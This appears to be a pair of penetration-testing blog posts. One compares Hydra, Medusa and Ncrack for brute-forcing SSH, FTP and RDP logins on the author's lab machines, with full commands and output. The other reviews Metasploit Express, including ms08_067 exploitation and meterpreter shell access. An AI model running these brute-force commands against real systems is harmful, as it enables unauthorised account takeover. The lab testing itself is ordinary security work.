First of course there is the HackerTarget.com scan, externally facing and coming in at a fairly high level. The system downloads some of your pages, does analysis, checks a few additional links and gives you a tidy little report detailing any security issues discovered.

Our scan does not perform brute forcing of accounts, passwords or plugins. Brute Forcing is more appropriate in a targeted pen-test or black-box vulnerability assessment.

Simply put brute forcing for:

Additionally username’s can also be gathered through some WordPress themes, RSS feeds, and author page URI’s such as /blog/author/admin/.

These tools and scripts that can be utilized in your Penetration Testing of WordPress.

Metasploit has a module for enumerating usernames and brute forcing passwords. It is solid and convenient; everyone has Metasploit installed… don’t they?

An NSE (nmap scripting engine) script was released for Nmap that does plugin brute forcing.

Just in the last few days a new tool hit the tubes wpscan. Still under development it does a few different checks including brute forcing for accounts.

All the tools referenced above are dedicated towards external testing of wordpress installations. There are other options that involve installation of plugins into the wordpress installations for deeper monitoring.

I am focusing on tools that allow remote service brute forcing. There are also powerful tools available for cracking encrypted password hashes on a local system.

The three tools I will assess are Hydra, Medusa and Ncrack (from nmap.org).

Installation of all three tools was straight forward on Ubuntu Linux.

wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz
./configure
make
make install

wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
./configure
make
make install

wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
./configure
make
make install

Then I grabbed a list of 500 passwords from skullsecurity.org.

wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt

Testing was done against a Linux Virtual Machine running on Virtualbox.

The first series of tests was against SSH. I set the root account with the password “toor”. I added toor to the end of the 500 password list at number 499.

~# hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak – use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-05 16:45:19
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h
[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h
[22][ssh] host: 10.10.10.10 login: root password: toor
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-05 16:48:08

Success with Hydra!

~# ncrack -p 22 –user root -P 500-worst-passwords.txt 10.10.10.10

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-05 16:50 EST
Stats: 0:00:18 elapsed; 0 services completed (1 total)
Rate: 0.09; Found: 0; About 6.80% done; ETC: 16:54 (0:04:07 remaining)
Stats: 0:01:46 elapsed; 0 services completed (1 total)
Rate: 3.77; Found: 0; About 78.40% done; ETC: 16:52 (0:00:29 remaining)

Discovered credentials for ssh on 10.10.10.10 22/tcp:
10.10.10.10 22/tcp ssh: ‘root’ ‘toor’

Ncrack done: 1 service scanned in 138.03 seconds.

Ncrack finished.

Success with Ncrack!

# medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 500 complete)

<< --- SNIP --->>>

ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: billy (498 of 500 complete)
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: toor (499 of 500 complete)
ACCOUNT FOUND: [ssh] Host: 10.10.10.10 User: root Password: toor [SUCCESS]

~ 1500 seconds

Success with Medusa, however it took over 10 times as long with the default settings of each tool.

Lets try and speed things up a bit. cranking up Medusa speed to use 5 concurrent logins fails with the following error:

ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: mustang (7 of 500 complete)
medusa: ath.c:193: _gcry_ath_mutex_lock: Assertion `*lock == ((ath_mutex_t) 0)’ failed.
Aborted

Trying Ncrack at a faster rate was a bit faster but not much.

ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 10.10.10.10

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 09:04 EST

Discovered credentials for ssh on 10.10.10.10 22/tcp:
10.10.10.10 22/tcp ssh: ‘root’ ‘toor’

Ncrack done: 1 service scanned in 128.98 seconds.

Ncrack finished.

Hydra any faster, up the threads to 32?

$ hydra -t 32 -l root -P 500-worst-passwords.txt 10.10.10.10 ssh
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak – use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 12:44:03
[DATA] 32 tasks, 1 servers, 500 login tries (l:1/p:500), ~15 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 184.00 tries/min, 184 tries in 00:01h, 316 todo in 00:02h
[STATUS] 185.50 tries/min, 371 tries in 00:02h, 129 todo in 00:01h
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
[22][ssh] host: 10.10.10.10 login: root password: toor
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 12:46:57

No change really. Perhaps the limiting factor for Hydra and Ncrack is the speed of response from the VirtualBox machine. Either way it appears the default speed is pretty good for both tools.

Now to try hitting ftp server on the same host (vsftpd).

ncrack -u test -P 500-worst-passwords.txt 10.10.10.10 -p 21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:53 EST
Stats: 0:00:40 elapsed; 0 services completed (1 total)
Rate: 5.94; Found: 0; About 47.20% done; ETC: 12:54 (0:00:45 remaining)
Stats: 0:00:59 elapsed; 0 services completed (1 total)
Rate: 6.93; Found: 0; About 88.00% done; ETC: 12:54 (0:00:08 remaining)

Discovered credentials for ftp on 10.10.10.10 21/tcp:
10.10.10.10 21/tcp ftp: ‘test’ ‘toor’

Ncrack done: 1 service scanned in 69.01 seconds.

Push it faster….

$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:55 EST
Stats: 0:00:03 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 0; About 0.00% done
Stats: 0:00:06 elapsed; 0 services completed (1 total)
Rate: 0.00; Found: 0; About 0.00% done

Discovered credentials for ftp on 10.10.10.10 21/tcp:
10.10.10.10 21/tcp ftp: ‘test’ ‘toor’

Ncrack done: 1 service scanned in 66.01 seconds.

Same result. Limiting factor is likely the VM.

$ hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak – use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 13:07:43
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task
[DATA] attacking service ftp on port 21

Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd

[STATUS] 219.00 tries/min, 219 tries in 00:01h, 281 todo in 00:02h
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd

Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd
[STATUS] 233.06 tries/min, 470 tries in 00:02h, 30 todo in 00:01h
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 13:09:56

Oops. Thats not so good.

Now for Medusa.

~$ medusa -u test -P 500-worst-passwords.txt -h 10.10.10.10 -M ftp
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: password (2 of 500 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.10 (1 of 1, 0 complete) User: test (1 of 1, 0 complete) Password: 12345678 (3 of 500 complete)
ERROR: [ftp.mod] failed: medusaReceive returned no data. Server may have dropped connection due to lack of encryption. Enabling the EXPLICIT mode may help.
CRITICAL: Unknown ftp.mod module state -1

Hmmm, struggling too.

Lets go back and check again with ncrack to ensure the service is still ok.

~$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:14 EST

Discovered credentials for ftp on 10.10.10.10 21/tcp:
10.10.10.10 21/tcp ftp: ‘test’ ‘toor’

Ncrack done: 1 service scanned in 62.99 seconds.

Ncrack finished.

ncrack for the win!

ncrack has the ability to also brute force RDP accounts. So lets hit a windows box.

$ ncrack -u administrator -P 500-worst-passwords.txt -p 3389 10.212.50.21

Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 13:26 EST
Stats: 0:02:18 elapsed; 0 services completed (1 total)
Rate: 0.02; Found: 0; About 3.40% done; ETC: 14:33 (1:05:21 remaining)
Stats: 0:15:07 elapsed; 0 services completed (1 total)
Rate: 0.20; Found: 0; About 13.80% done; ETC: 15:15 (1:34:25 remaining)
Stats: 0:22:19 elapsed; 0 services completed (1 total)
Rate: 0.02; Found: 0; About 19.40% done; ETC: 15:21 (1:32:43 remaining)
Stats: 0:24:46 elapsed; 0 services completed (1 total)

Discovered credentials for rdp on 10.212.50.21 3389/tcp:
10.212.50.21 3389/tcp rdp: ‘administrator’ ‘toor’

Ncrack done: 1 service scanned in 6072 seconds.

Protocols supported include:

Hydra – TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA

Medusa – AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper,
Web Form

Ncrack – RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet

There is much more that could be tested for a more comprehensive review. Other protocols, different targets, latency and Further tweaking of the scan speeds and threads.

While ncrack has limited protocol support compared to Hydra and Medusa the only conclusion for this little test; when it comes to speed, reliability and the ability to hit RDP services ncrack wins!!

The purchase of Metasploit by Rapid7 last year and the recent release of Metasploit Express has been big news in the security community.

I have finally gotten around to giving it a spin. So what is Metasploit Express? It is a web based front end for Metasploit that provides not only easy access to the underlying tool it also adds reporting and organisation to your penetration testing. Allowing projects to be saved, results stored and tested.

Sure does beat running metasploit and using a flat text file for your project database.

I grabbed a copy of the Trial Version from the Metasploit website.

#chmod +x metasploit-3.4.0-linux-x64-installer.bin
# ./metasploit-3.4.0-linux-x64-installer.bin

Install was gui based and simple enough. Following the installation I was directed to web based console.

https://localhost:3790/

Create a user account.

Enter Product Key and Activate with Rapid7.com. A friendly reminder that we are in the world of commercial software.

Created Test1 and ran the initial scan

Resource usage is very low during scanning phase. Memory usage considerably less than firefox and barely touched the sides of CPU on my old Core2duo.

Against my 3 hosts I ran the brute force module. All settings are defaults.

Note the windows host has login Administrator with password test and admin with password. The Linux host has password of test on the root account.

I was surprised that these were not discovered during the brute scans.

I redid the brute force module after changing the root password to “toor”. Success! It seems the dictionary may not have been large enough for root / test.

Update: as noted by HD Moore selecting the deep option rather than default on the brute force would have hit on “test”.

Using the session from the brute forced credentials I was able to gather data from the system with prebuilt scripts and get full access via a shell.

Onto the exploitation module.

Session found on the windows XP host as expected ms08_067 was successfully exploited.

Switching to the session tab (nice that while scans are running you can move about the console) reveals prebuilt modules that can be performed with the session – collect system data, virtual desktop, access file system, and command shell. These are straight out of meterpreter.

I grabbed some system data and found the display of the collected data is clear and easy to get to.

Accessing the virtual desktop I was able to connect using a java applet, the other choice to manually use a vnc viewer was also available.

Browsing the file system is all web based, fast and responsive, allowing browsing of the system drives looking for data to snarf.

Lastly direct access to the meterpreter shell is right there, giving you full access to the session through the web console.

Reports linked here
Executive Summary
Detailed Audit Report
Compromised Hosts
Collected Evidence
Network Services
Authentication Tokens

During my testing I did not have a working NexPose Vulnerability Scanner install, however note that this is also an option for enumeration of the vulnerabilities and would be interesting to see in action.

Overall this is a quality product, utilising the underlying framework the web based front end is solid enhancement that is definitely worth the price, whether you are running metasploit on a daily basis and need access to the reporting and backend database or if you run it occasionally within your environment this puts the power of the tool only a few clicks away.